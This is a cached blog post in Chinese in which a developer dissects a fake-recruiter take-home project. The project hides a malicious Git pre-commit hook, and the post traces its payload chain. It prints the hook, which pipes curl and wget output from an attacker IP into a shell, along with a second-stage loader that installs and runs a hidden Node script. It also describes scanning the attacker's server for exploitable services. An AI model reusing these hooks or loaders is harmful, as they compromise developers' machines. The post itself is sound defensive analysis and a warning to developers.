我检查了我的带回家面试项目。这整个就是个精心策划的操作
摘要
一位软件工程师收到了一个可疑的带回家面试项目,其中包含旨在执行恶意软件的恶意 Git 钩子,揭示了一场针对开发者的精心求职骗局。
暂无内容
查看缓存全文
缓存时间: 2026/07/22 23:24
# Appaji - 软件工程师
来源:https://citizendot.github.io/articles/fake-job-interview-git-hook-malware/
在 [Hacker News](https://news.ycombinator.com/item?id=49013036) 或 [LinkedIn](https://www.linkedin.com/feed/update/urn:li:activity:7485790360367980544/) 上讨论。
上周四,一位招聘人员通过我的 LinkedIn 私信联系了我,提供了一个 Python 开发人员的职位。有人直接联系我,让我很激动,于是我问了更多细节。当他分享了职位描述、公司名称和预估薪资后,我觉得没什么可损失的。以下是初始消息:
> 初始消息
每月 1 万到 1.5 万美元的远程优先、合同转全职职位,这条件太好了。而且,为什么这家伙在还没见面之前就透露薪资信息?我以为招聘人员会玩“你先说,我再说”的游戏。新手才会犯的错。
## 薪资
危险信号立刻开始闪现。为什么预算这么高?(好吧,按印度标准对于远程职位来说确实高;按美国标准不算离谱,但足以让人起疑。)我查了一下那家公司,是 Y Combinator 的初创公司。YC 的公司通常不以常规操作著称,所以也不是完全不可能。不过,如果一家公司有这么多钱可以随便花,他们通常会有更结构化的招聘流程。我决定继续,但保持警惕。
我发了简历过去。招聘人员很快就批准了,并通过一个 Google Drive 链接发来了一个带回家的作业,里面有一个 zip 压缩文件和一个包含说明的 PDF。这是原始链接:https://drive.google.com/drive/folders/18i1KDFXAPv7lqfBGddxj7IOnDy8J6VeH?usp=drive_link
我在下面做了自己的副本,以防他们删掉:https://drive.google.com/drive/folders/1DZYWezjpwolsxXnM5F04_Ng3nzTRYpVS?usp=sharing
评估 PDF 看起来出人意料地正规。内容是关于如何改进现有代码库、架构建议、一些 git 操作等。我解压了 zip 文件。乍一看,只是一个使用 SQLAlchemy 的样板 FastAPI 后端,非常标准。我检查了 `requirements.txt`,看是否有任何明显的拼写错误或恶意包,但完全没有问题。有那么一瞬间,我甚至觉得我的怀疑是多余的,这真的是个机会。
## 发现
这可能只是个习惯(也许是从做 CTF 养成的),每当我拿到一个随机的项目文件夹时,我都会运行 `tree -a` 看看隐藏目录里有什么。但这次可能是第一次在现实中派上用场。
```
❯ tree -a .
.
├── alembic.ini
├── for learning
│ ├── dtos.py
│ ├── main.py
│ └── mockData.py
├── .git
│ ├── config
│ ├── description
│ ├── gk
│ │ └── config
│ ├── HEAD
│ ├── hooks
│ │ ├── applypatch-msg
│ │ ├── commit-msg
│ │ ├── fsmonitor-watchman
│ │ ├── post-applypatch
│ │ ├── post-checkout
│ │ ├── post-commit
│ │ ├── post-merge
│ │ ├── post-receive
│ │ ├── post-rewrite
│ │ ├── post-update
│ │ ├── pre-applypatch
│ │ ├── pre-auto-gc
│ │ ├── pre-commit
│ │ ├── pre-merge-commit
│ │ ├── prepare-commit-msg
│ │ ├── pre-push
│ │ ├── pre-rebase
│ │ ├── pre-receive
│ │ ├── proc-receive
│ │ ├── push-to-checkout
│ │ ├── sendemail-validate
│ │ └── update
│ ├── index
│ ├── info
│ │ └── exclude
│ ├── logs
...
```
等等。仓库里预先配置了大量的 Git 钩子。我打开了 `pre-commit` 脚本,看看他们想运行什么。
```
❯ cat .git/hooks/pre-commit
#!/bin/sh
case "$(uname -s)" in
Darwin*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
Linux*) wget -qO- 'http://45.61.164.38:5777/task/linux?id=402' -L | sh > /dev/null 2>&1 & ;;
MINGW*|MSYS*|CYGWIN*) curl -sL http://45.61.164.38:5777/task/windows?id=402 -L | cmd > /dev/null 2>&1 & ;;
*) curl -sL 'http://45.61.164.38:5777/task/mac?id=402' -L | sh > /dev/null 2>&1 & ;;
esac
```
中了。他们嵌入了一个脚本,检查受害者的主机操作系统,并静默执行远程有效载荷。
> **旁注**:为什么用原始 IP 地址?如果有任何迹象表明这是恶意软件,那就是这一点。至少注册一个像 lint-checker.com 或 jenkins-ci-runner.net 这样的诱饵域名。如果写这个的威胁行为者在读这篇:记笔记吧!
让我们看看 Linux 的有效载荷到底做了什么。注意传递给端点的 `id=402` 参数。记住它。
```
❯ curl http://45.61.164.38:5777/task/linux?id=402
#!/bin/bash
set -e
echo "Authenticated"
TARGET_DIR="$HOME/Documents"
clear
wget -q -O "$TARGET_DIR/tokenlinux.npl" "http://45.61.164.38:5777/task/tokenlinux?id=402"
clear
mv "$TARGET_DIR/tokenlinux.npl" "$TARGET_DIR/tokenlinux.sh"
clear
chmod +x "$TARGET_DIR/tokenlinux.sh"
clear
nohup bash "$TARGET_DIR/tokenlinux.sh" > /dev/null 2>&1 &
clear
exit 0
```
脚本拉取一个最初命名为 `tokenlinux.npl` 的二级有效载荷(我们稍后会回到这个特定扩展名)。然后它把文件隐藏到我的 `~/Documents` 目录中,命名为 `tokenlinux.sh`,设置可执行权限,并使用 `nohup` 在后台启动它。
> **来自谷歌**:`nohup` 命令("no hang up" 的缩写)是一个 Linux/Unix 工具,可以在你注销、关闭终端或断开 SSH 会话后,让进程继续运行。
## 深入分析
继续往下挖。让我们检查下一个脚本。
```
❯ curl http://45.61.164.38:5777/task/tokenlinux?id=402
...
...
BASE_URL="http://45.61.164.38:5777"
...
# Step 8: Download files
# Check if curl is available
if ! command -v curl >/dev/null 2>&1; then
# If curl is not available, use wget
wget -q -O "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
wget -q -O "$USER_HOME/package.json" "$BASE_URL/task/json"
else
# If curl is available, use curl
curl -s -L -o "$USER_HOME/parser.js" "$BASE_URL/task/parser?id=402"
curl -s -L -o "$USER_HOME/package.json" "$BASE_URL/task/json"
fi
# Step 9: Install 'request' package
cd "$USER_HOME"
if [ ! -d "node_modules/request" ]; then
npm install --silent --no-progress --loglevel=error --fund=false
fi
# Step 10: Run token parser
if [ -f "$USER_HOME/parser.js" ]; then
nohup node "$USER_HOME/parser.js" > "$USER_HOME/parser.log" 2>&1 &
else
exit 1
fi
exit 0
```
> 为了简洁,我省略了输出中一些有趣的部分,但完整文件可以在 [parser.js](https://citizendot.github.io/parser.js) 找到,如果你想深入挖掘的话。
这个第二阶段做了很多重活。它静默安装 Node.js,配置系统路径,下载 `package.json` 和 `parser.js` 文件,安装所需的依赖,并隐形运行解析器。
我看了看 `parser.js`。代码严重混淆了,手动阅读简直是一团糟。还记得 `id` 参数吗?我试着在请求中更改它,结果收到了一个完全不同的脚本。攻击者很可能正在分配唯一的标识符来跟踪每个候选人,为每个受害者提供定制的有效载荷。
由于 `parser.js` 是一堵砖墙,我转向了 `package.json`。与解析器不同,这个必须是标准 JSON,`npm` 才能处理它。
```
❯ curl http://45.61.164.38:5777/task/json
{
"name": "tokendapp",
"version": "1.0.0",
"devDependencies": {
"hardhat": "^2.20.2"
},
"dependencies": {
"axios": "^1.12.2",
"basic-ftp": "^5.0.5",
"child_process": "^1.0.2",
"clipboardy": "^4.0.0",
"crypto": "^1.0.1",
"execp": "^0.0.1",
"fs": "^0.0.1-security",
"jsonwebtoken": "^9.0.2",
"process": "^0.11.10",
"ps-node": "^0.1.6",
"request": "^2.88.2"
},
"scripts": {
"test": "npx hardhat test",
"deploy": "npx hardhat run scripts/deploy.js"
}
}
```
这些依赖项非常可疑。为什么后台设置任务需要剪贴板访问(`clipboardy`),而且还需要文件系统访问(`fs`)。还有,`hardhat` 到底是什么?
## Hardhat NPM
啊,一个以太坊开发环境。这使得追踪 ID 参数更加令人好奇。如果他们是在投放一个比特币矿工,给唯一的 ID 分配特定的哈希任务是有道理的。但以太坊已经转向了权益证明,不再依赖挖矿了。他们可能正在使用 Hardhat 来定位和窃取加密钱包,或者与本地浏览器扩展进行交互?不确定。
希望反混淆 `parser.js`,我把代码扔进了几个大语言模型,看看它们能不能解开。Claude 看了一眼文件就触发了安全护栏,拒绝分析该脚本:
> Claude 的回应
而 Gemini 则很乐意分解它:
> Gemini 的回应
早些时候,我们看到有效载荷最初命名为 `tokenlinux.npl`。快速搜索确认了使用该扩展名的威胁行为者类型:
> tokenlinux
## 骗局更深
在意识到这是一个广泛的战役后,我进一步挖掘,发现人们收到了这个攻击的不同变体。有些人收到一个包含 `.vscode` 文件夹的 zip 文件。在里面,攻击者隐藏了命令,配置为一旦在 VSCode 中打开目录就运行(启动命令)。相当巧妙。你甚至不需要运行 git 命令,只要在 VSCode 中打开这个目录就足以被感染。
另外,现在很明显,这跟 Zavopay 没有任何关系。攻击者只是用他们找到的任何公司名称来让招聘看起来合法。
出于好奇,我运行了 `git log` 来检查项目的提交历史,想知道他们是否留下了任何自定义痕迹。结果发现,他们只是克隆了一个随机的公共仓库。
```
❯ git log
commit 16a25d9eaef7ef2e831a21ca0d703fe0fa621492 (HEAD -> main, origin/main, origin/feature/payment, origin/HEAD, feature/payment)
Author: rhonda
Date: Mon Jun 29 22:04:17 2026 -0400
add requirements
commit 8ae96928302a8e0757f2c72f85c46d801c97b91e
Merge: f64c289 d6cb1f2
Author: Bharati Gogoi
Date: Mon Jun 29 21:23:43 2026 +0530
Merge pull request #10 from Bgogoi123/feature/balance
[feat][Service for Adjusting Balance]
commit d6cb1f2f14b5d561e3611653327477e6a60eee95
Author: Bharati Gogoi
Date: Mon Jun 29 21:20:13 2026 +0530
[feat][Service for Adjusting Balance]
- Added a service for adjustinh a user's balance.
- Removed old/commented codes.
...
```
快速搜索直接把我带到了原始仓库:https://github.com/Bgogoi123/personal-finance-service。他们真的只是拿了一个无辜人的 FastAPI 项目,然后在上面加了一个恶意的隐藏目录。
## 反击
自然而然地,下一步是从防御转向进攻。我想看看攻击者是否在他们的 IP 上留下了任何暴露的易受攻击服务。Nmap 扫描显示有三个开放端口。其中两个对版本检测没有响应。端口 22 运行着 Ubuntu 上的 OpenSSH 9.6p1。由于这个版本是在扫描前一周多才发布的,没有已知的 CVE 可以用来窥探他们的基础设施。
> nmap 扫描
所以,他们的服务器 OPSEC 做得不错,尽管恶意软件部署有点明目张胆。线索到此就断了。
大家在外面小心点,在运行别人的代码之前,一定要检查那些隐藏目录。
现在我明白了为什么他们的评估 PDF 里有 git 任务了。他们希望确保候选人至少运行一个 git 命令,这样钩子就会被触发。
哦,顺便说一下,那个“招聘人员”在我当面揭穿他之后,似乎已经删除了账号。
> 揭穿
这次就到这里吧。如果你想聊天,欢迎在 [LinkedIn](https://www.linkedin.com/in/appaji-chintimi/) 上联系我,不过也许就别发带回家的测试题了。(不过,转念一想,如果你有有趣的恶意软件样本,发给我吧!)
感谢阅读!
相似文章
一次失败的(国家支持?)攻击剖析
对一次针对Rust开发者的复杂假面试骗局的详细复盘,该骗局涉及伪造的VC人设和通过TypeScript仓库投递的定制RAT。作者凭借警惕性和AI辅助代码审查成功规避了感染。
LinkedIn职位邀请中的后门
一位安全研究员详细描述了如何通过伪装成真实开发者的虚假LinkedIn招聘人员发送一个GitHub仓库,该仓库包含一个后门,在执行npm install时触发,从而诱使目标运行恶意代码。
@vintcessun: 一早翻到一个有意思的项目,改变了我对面试准备的认知。一直以为大厂面试刷题就够了,但本质上它考察的是完整的计算机科学知识体系。这个项目把离散的知识点串成了一个系统计划,从 Big-O、数据结构、算法到系统设计、面试技巧全覆盖,甚至包含如何写…
A popular GitHub project providing a comprehensive multi-month study plan for software engineering interviews, covering CS fundamentals, algorithms, system design, and resume tips.
事件 CVE-2026-LGTM
一份讽刺性事件报告,详细描述了恶意软件包如何因各种故障绕过多个AI驱动的安全门,最终只有在攻击者的代理读取了本不应读取的文件后才得以解决。
@mubeitech: 被常春藤名校扫地出门,换来的是24小时内到账的500万美元融资。 Roy Lee把硅谷的规则玩明白了。 他写了一款名叫Interview Coder的软件。 专门用来在程序员的技术面试里作弊。 为了证明实力,他拿亚马逊的实习面试开刀。 他…
Roy Lee raised $5M in 24 hours for Interview Coder, a tool designed to cheat in coding interviews, after demonstrating its use in an Amazon internship interview.